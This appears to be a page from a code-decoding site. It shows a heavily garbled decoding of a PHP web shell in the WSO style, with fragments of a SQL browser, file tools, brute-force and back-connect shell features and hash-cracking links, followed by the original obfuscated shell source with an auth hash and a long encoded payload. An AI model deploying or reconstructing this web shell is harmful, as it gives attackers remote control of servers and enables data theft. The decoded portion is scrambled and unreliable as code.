	<input type=hidpame=para'		$the ue=''>
	<input type=hidext name=pe ue=''>
	<input type=hidc='server' vlue='" . htmlspecialchars($GLOBALS['cw) ."'>
	<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charS['cwd'd>To<)."'>
	<selee']):y</option><option		cas ct>&nbsp;";@ etpwuide']):$=ion		cas));
	})."'>
edho 'der()">emp[]ess (zip)</option><optio			cas ct>&;";@ etpwuide']):$=io			cas));
	})."'>
edho 'der()">emp[] = []ess (zip)<
	echo '<valud'd>To</td><td><input type=tetur} pon><opti\""'\');" 'l_exists(etur} po_P)?p2','l} po_:T['p1'])?htmlspecialcharsetur} po_P)rS['\"'<valud'd>To</td><td><input type=tetur 'pinn><opti\""'\');" 'l_exists(etur 'pin_P)?pter'_:T['p1'])?htmlspecialcharsetur 'pin_P)rS['\"'<valud'd>To</td><td><input type=teturasswo><opti\""'\');" 'l_exists(eturassw_P)?p_:T['p1'])?htmlspecialcharseturassw_P)rS['\"'<valud>ToUREVSU      "</td><td><input type=teturM pg_ name=pe form><br>";
	if(issetetur} po_P)r($n, wd'])b->= @mysql_exists(etur} po_POST['p2'],etur 'pin_POST['p2'],eturassw_POST['p2'],eturM pg_PO!== falsr) {
			switch($_POST['c'c']	break;
"War n s-1251": 1db->function se'cp1251');= $c[$i];	break;
"rset'": 1db->function se'utf8');= $c[$i];	break;
"KOI8-R": 1db->function se'koi8r');= $c[$i];	break;
"KOI8-U": 1db->function se'koi8u');= $c[$i];	break;
"cp866": 1db->function se'cp866');= $c[$i];	break;
1db->function i];	br]);
	}
."'>
	<seleturM pg)</option><optiovaluompress</opodules',mpt
						db->' => $gr['p2}s.'func(realcPar $key== ');
	t
		p1'],true);
'</option><opti"])?'<opt['na val><opti=T['p2'],eturM pg_P?})."'>
edh'checke])?'<opt['luompresse format!';
);
	}
	echo '. '</pre>'	;
				} eU   scri});
						} eU   scri>";
   alud',trud>To</td><td><input type=submit v href='#' fsud.sf);'>	 alud'                1':'').'><td><input type=checkink = ram(e=submionnnerH');" 'l_exists(etur= ram_P)?p_:assajax']?r	\>);
	$ the number of rn s  alud',tre=0><d',t/td></trd',t/;
	}
</            s_dbset @ FROM '".add['p2'],eturM pg_POhes(2>&1 &");
   )
		}
		fs('f'] as $f) {
       ':
.eturM pgis.par!=s_dbf'] f.le><form
			$r}
	ion }uid)."
";
           r')f.p1		{.p1.><optiovuid)."
";
           r')f.p2		{.p2.><optiovuid)."
";
           r')f.p3		{.p3.><optiovuid)."
";
                }
       e;
		}
		ft(t,lr['p2}s.'d.sf.p1.><optc: 't'l'oci;p2}s.'d.sf.p2.><optc: tuid)."
";
       r')loT['d.sf.p3		d.sf.p3.><optc: l;p2}s.'d.sf.><formn i];	br    e;
		}
		ilistTablessa() {
		forsf. d.files.htbl[]'].element++$i>=0;--$orsf. d.files.htbl[]'].elements[i].c!orsf. d.files.htbl[]'].elements[ii];	br    e,null,"")form><br>";
	idbf'T['1db->funkr($n, >";
    echcript>
<tabe wio '<t='0' cel2ss='main' cel0s</opoduml1>';
	if(!emptyeturM pg_PO!{['nc$t1db->function s['p2'],eturM pg_POST[		br]);
	}#222222
<tabePhpOutp'bserer).'ma2px solid #666;'>	passwtion l:t  [perl]<
	</form>sql':bladows				db->function lisorm>sqlles',mpt
						db->' => $':bladowsgr['p2}s.'/func(realcPar $key== ');
	t
		p1'])."
";
           r')>';
	if(!emptyetur= ram_P)ch($item))
                n				db->' => $'db->		$thi'->queryCOUNT(*($strnCOPY w CH'<opt['')); 'pgsql'><optc: T['p1'])?htmlspecis.params->link));
	}no]<
> Port: <inptype == '
	<seleebl[]'e=charset H'<opt[r.gz') . 
		echo '<a href=#\"nc(et H'<opt[r.,1)\"'t H'<opt[r)'>[verH');" 'l_exists(etur= ram_P)?pz') . ':" <small>({$n['n_P}",numall>
	\</no]<
	</form>sql}T[		br]);
	}> Port: <inptype == '
href='#' ilis;ue='31337'> <inbuttion><optioDase 
href='#' splay='';sf.p2.><opt#\").'\', \'";splay='';sf.><formn i'
	</			ec,\'':</td><td><input type=t';sel><optionase.etu'1].'</pre>hpOutp'bserer).'ma2px solid #666;'>form>sqlp1']);
	if(@$_POST['t'l'oci_$n == 32) ]) )
		$_POST'		$the			)."
";
           $);
				$_POST$);
				$_P?$);
				$_P$l = $nc$t1db->		$thi'->queryCOUNT(*($strnCOPY w ass=	tpwuid($_POST[$nc$t1num				db->' => $gST[$nc$t1pagws			ceil(1num['n_P / 30p1'])."
";
           ]);
	}
echo orsf.le><form 		$r}
	io{nc(\""ass=	tpwuid($_P	\, \"d.sf.p3.><opt)}t>p3_="";< [permp/bc.pl ".$_POSify time({$num['n_P} recsers) Pagw #ile name: <input type=t		$_n><opti"erH'perms += (int)$_Pr	\>$uid)."
";
           ]);
	 of 1pagws$uid)."
";
           r'););
				$_PO> 1ch($item))
               ]);
	 
		echo '<a href=#'nc(\""ass=	tpwuid($_P	\' \"'s") . ;
				$_P-1r	\).gzlt; Prev)'>[vuid)."
";
           r'););
				$_PO< 1pagwsch($item))
               ]);
	 
		echo '<a href=#'nc(\""ass=	tpwuid($_P	\' \"'s") . ;
				$_P+1r	\).gNut t&gt;)'>[vuid)."
";
           . ;
				$_P--ST[$nc$tr'););
			e']):$=io			cas)p2}s.'/'$]) )
		$_POST[->query*COPY w CHbc.pl ".$_PO' LIMIT 30 OFF'SET C . ;
				$_P*30ams->link);
					else]) )
		$_POST[->query*COPY w` CHbc.pl ".$_PO'` LIMIT  C . ;
				$_P*30a.',30'ms->link));
	}]<
	</form>sql}T[		brr')']);
	if(@$_POST['		$theT['ajax']) && !empty(2_POST['p1']))1db->		$thi@=	tpwuid($_POST[$nc$twd'])b->ows	!=  h) ) !== falssql':? '') {		return	>link));
'hcript>
<tabe wio '<table cellspacing=1 cel2cho '<prainclass=ml1 style="backgrou#292929or:black;"',''in') {l = $nc$tules',mpt
						db->' => $gr	= falssqlt);
	:? ''r	= falssqlt $f) {
		r:black;"',rruch');
	t
			iteraey	 'gr><opt)lack;"',rr $f) {
	he])?aeyp1'])hr:black;"',rrows
	it
		p1'],trussql':? ''=
return trurr $f) {
=0></td>:black;"',rr''in') {2black;"',r}lack;"',r$f) {
		cho '<p"l])?'in'T['p:black;"',r''in') {''in'==1?2$l = $nc$trruch');
	t
			iteraey	 'gr><opt)'] arrrrrr'm($v);<optc: "\'g(['cck;"',rr $f) {
	:'')>\'g(</i1].'</:black;"',rr);
					elsrr $f) {
	:''.nl2brdcslashes(htmlspecr><opt)D</a>':''black;"',r}lack;"',r$f) {
/td>:black;"',}rn	>link));
'htd></tr></tabl	      }
	} elink));
'htmp) .>Epg_l: '.$e:</span> '.htmlspec	db->@pg_las>'),$code).'</di',}rn	>li}T[		br]);
	}b></td></tr><table><form 'd.sf.p1.><opt#\"		$th'";s;sf.p2.><opt#m1.va		$th.><opt;splay='';sf.><formn i			}
			retu'n false;"><texta'		$the>hpOutp'
<ta:e wi;he="fone wwidtvuid)."
";
       ml1>';
	if(!empty($_POST['p2']) && ($_POe_sc', \ype' =>id)."
";
           ]);
T['p1'])?htmlspecialchars($_POST['p2']);
       >";
   a:'').'</t  ech/td><td><input type=submicho '<e'>form>sql>";
   aluions</th><mat!';
);
	"r></form><>>'>
	</tvuid)."
";
   r'););
			e']):$=ion		cas)e_mode']) {
        db->		$this->query1COPY wn		ca.]} usdatabaca hat(`]} u`\"'@', `} po`y== USERist_sch`Fexistriv`OST[y'll 2>&1 &");
   
   r');db->' => $gr'])."
";
           ]);
	}><table><form 'd.sf.p1.><opt#\"', \ype''";splay='';sf.p2.><opt#m1.vaf.><opt;splay='';sf.><formn i			}
			retu'n y timecPan)."'ify timeh/td><tcho '<p'>NetwIne 
d><input type=t'o</td><td><input type=submit vm><>>'>
vuid)."
";
   eak;
			]);
	if(@$_POST['', \ype' =['p3']) )';sel			db->function l	tpwuid($_POST[$nc$         ech		echo '<pre cliew\')">'.htmlspeciaionty		r'/ug.
			echo '</pr         }
	}        ]);
T['p1'])?htmlspecidb->@pg_las>uid)."\er'));
	}
	echo '</div>';
	wsoFooter();
} functiolaenttionFilesTools(!
					if(functionhex2bin'pr['er();
} hex2bin($
						}
	decbin(
		cec($
	);}	exit;
	}!
					if(functionbin
		'pr['er();
} bin
		($
						}
	dec
		(/bp.ec($
	);}	exols(!
					if(functionhex2ascii'pr['er();
} hex2ascii($
	{$riovu 0;
		0;$i<strLen($
	;$i+=2	{$r.=chr(
		cec($
[2] .$
[2]+1POSTue,\'\')$r;}	exols(!
					if(functionascii2
		'pr['er();
} ascii2
		($
	{$riovu 0;
		0;$i<strlen($
	;$i<$l$r.=	$h[1] .= sprintf('%0pX',ordi			}
		$timupp(strr);}	exols(!
					if(functionf'g(_ll,\'' . 'pr['er();
} f'g(_ll,\'' . ($
	{$riovu 0;
		0;$i<strlen($
	;$i<$l$r.=	'%'.dec
		(f('%0pX',ordi			}
		$timupp(strr);}	exo$slaenttionF = $files'</p'Bite($ \'' . 'ay('trite($w\'' . ','</p'Bite($ ,@base'ay('trite($w,@base','</p'Url \'' . 'ay('tll,\'' . ','</p'Url ,@base'ay('t['p1'] = ','</p'F 1>/ll,\'' . 'ay('ty'g(_ll,\'' . ','</p'md5 hash'ay('tmd5','</p'sha1 hash'ay('tsha1','</p'crypt'ay('tcrypt','</p'CRC32'ay('tcrckav''</p'ASCIIBindHEX'ay('tascii2
		'''</p'HEXBindASCII'ay('thex2ascii'''</p'HEXBindDEC'ay('thexdort''</p'HEXBindBIN'ay('thex2bin'''</p'DECBindHEX'ay('tdec
		'''</p'DECBindBIN'ay('tdecbin','</p'BINBindHEX'ay('tbin
		','</p'BINBindDEC'ay('t/bp.ec','</p'olaentBind'.((s ak;
'ay('ts')">'.((s','</p'olaentBindupp(s ak;
'ay('ts')">upp(st''</p'H['p1'])?htmlspe'ay('th['p1'])?htmlspe','</p'olaentBelemen'ay('ts')ele','</soHeader();
	if(isset($_POST['aja		
        WSOsetcookie(md5($_SERVER['HTT.OST']) . 'ajax', true);
		ob_stader(nsq$sort @rename($_POSTslaenttionFgr['nc$		} eU@rename($_P l	tpwuid($_POST[$n1']);
		$temp = "document.getElemslaById('PhpOutput').style.display='';document.getElemslaById('PhpOutput').inn.TML='" . addcslashes(htmlspecialchars(ob_get_lean()), "

.\'") . "';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST&&ax']) && !empty($_POST[		
        WSOsetcookie(md5($_SERVER['HTT.OST']) .0ude_dir') {
	wsoHeader();
	eclaentBca s('/proFile tools</h1><div class=cont]);
	}><tab	<seleeionFF<taname='nfp' 'nsubmit="if(this.ajax.chbmit=\'g(nll,'bcpl'octionis.param1.va/td><this.code.value)bmit=\'g(nll,'bcpl'octionis.param1.va/td><this.code 			}
			retu'n y."'>
	<selecpl'oction'>form>uch');
	slaenttionF itera	 'gr>($m as $v)    echo "<optio"iew\')">'.htmlspecivshes>".$k.tluompress</opod>";
    echo "   echo "<input type='submit' v/>
	echo ' <input type=checkbox name=ajax".	]);e=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'chec"ed':'').'> send usb></false;"><texta'	echoe>hpOutp'e;':'').'margi'name=text class" style="'.(empty($_POST_:T['p1'])?htmlspec@=	tpwuid($_POep bca:'').'</ting AJAX</fho '<p're e>hpOutp'" style="'.(empty($_POST['p1'])?'display:no"e;':'').'margi'nid=mslaById('P)form><br>';
	if(!empty($_POST['p1'der(nsq$sort @rename($_POSTslaenttionFgr]);
T['p1'])?htmlspecialchars($_P l	tpwuid($_POet user'));
"
	echo '</psb></
	echarchn)."'l:t k tools</h1><div class=co	n><table><form onSubmit=p\',nuwthis.ch']) . '\',nu\'+this.t '\',nachment;this.port.value);return 			echo '<t='0' cell1ass='main' cellsp>
<tab'50%'ud',tre#222222
<tab'1%'uT\'+:tr><td>To</td><td><input type='texut typhpOutp'
<ta:e wivalue='>>'><d',tre#22222>P\'':<r><td>To</td><td><input type='texGLOB='server' vlue='" . htmlspecialchars($GLOBALS['cphpOutp'
<ta:e wivalue='>>'><d',tre#22222>o '<spa><td>To</td><td><input type='texachment;B='server*cphpOutp'
<ta:e wivalue='>>'><d',tre#22222>pa><td>To</td><td><input type='submit' value='>>'><
',tre=0/form><>>'>
form
ntent>';
	funR>SersiveGlob%0p\''ST['p1'der['p3'] =p\'', -1r\e_sc/s)p2}s.=p\''.=c/sST[$n1p\''$thisq$sor_unique(sq$sor_merge(sglob%0p\'''p2']." ".$_P)softlob%0p\'''r*c, alch_ONLYDIR_moduleader()sq$sort p\''$T&&@= ramt p\''$T=['p3'])uch');
	p\''$tnloaders ['p3']) ) {shaddir(wsoWhic
	} elinr');p\''!=aders as elinkfunR>SersiveGlob%0t
		p1'],tru     }
	} elin
	}
    if(empty($_POS|| @;
			i			$c = @file_get_ct
		p,s=	tpwuid($_PO!==
") === falod>";
  ')?"yes <a href='#' onclick='g(\"File="g(nu""l,null,"'.ursoWhi.", \"/edow\, \" \"sh"iew\')">'.htmlspecisoWhi.")'>[
	</form>sql}T[		bfp);
			}
				]);
	if(@$_P)p);
funR>SersiveGlob%0	switch(_POST[$>";
   '</psb></
	echarchn)or hash:t k tools</h1><div class=co	n><tab name=p'f me'b'). = ='_blankype='texhf'ud',tre/td><td><input type='texhash'ahpOutp'
<ta:2 wwii'
	</id)."
";
   e/td><td><inpput tyype='texacpe='submitfbp.'/ud',tre/td><td><inpbuttioe='submithashcrack ce.ru'<a href=#\"splay='';hf.functiithttps://hashcrack ce.ru/bp.ex.,'ma;splay='';hf.><formn rn 	brud',tre/td><td><inpbuttioe='submit$_C.rednoize.com'<a href=#\"splay='';hf.functiithttp://$_C.rednoize.com/?q='+splay='';hf.hashthis.p+'&s=md5';splay='';hf.><formn rn 	brud')."
";
   e/td><td><inpbuttioe='submitcrack><t.t;B=a href=#\"splay='';hf.functiithttp://crack><t.t;/bp.ex.,'ma;splay='';hf.><formn rn 	brud',tting AJA '</p" '</div>';
	wsoFoo<br>';
	if( emptya_POST['p<br>";
	id;
			_functiOST['
					if(functiona			if ass=d;
			_functiOT['p2']) )
	a_POST$d;
			_functiST[$>ch');
	]) )
	a_POST'Bruteng c writch':
			if( !emptya_POST['
					if(functiona			if ass=( emptya_POST['pcag(_lser['disona			if ass=( emptya_POrittemp;

Did this file decode correctly?

Original Code

<?PHP
$auth_pass = "5460217e208fb34ca729c7fab632fb77";
$color = "#ddff55";
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$default_action='Bruteforce';
$o = "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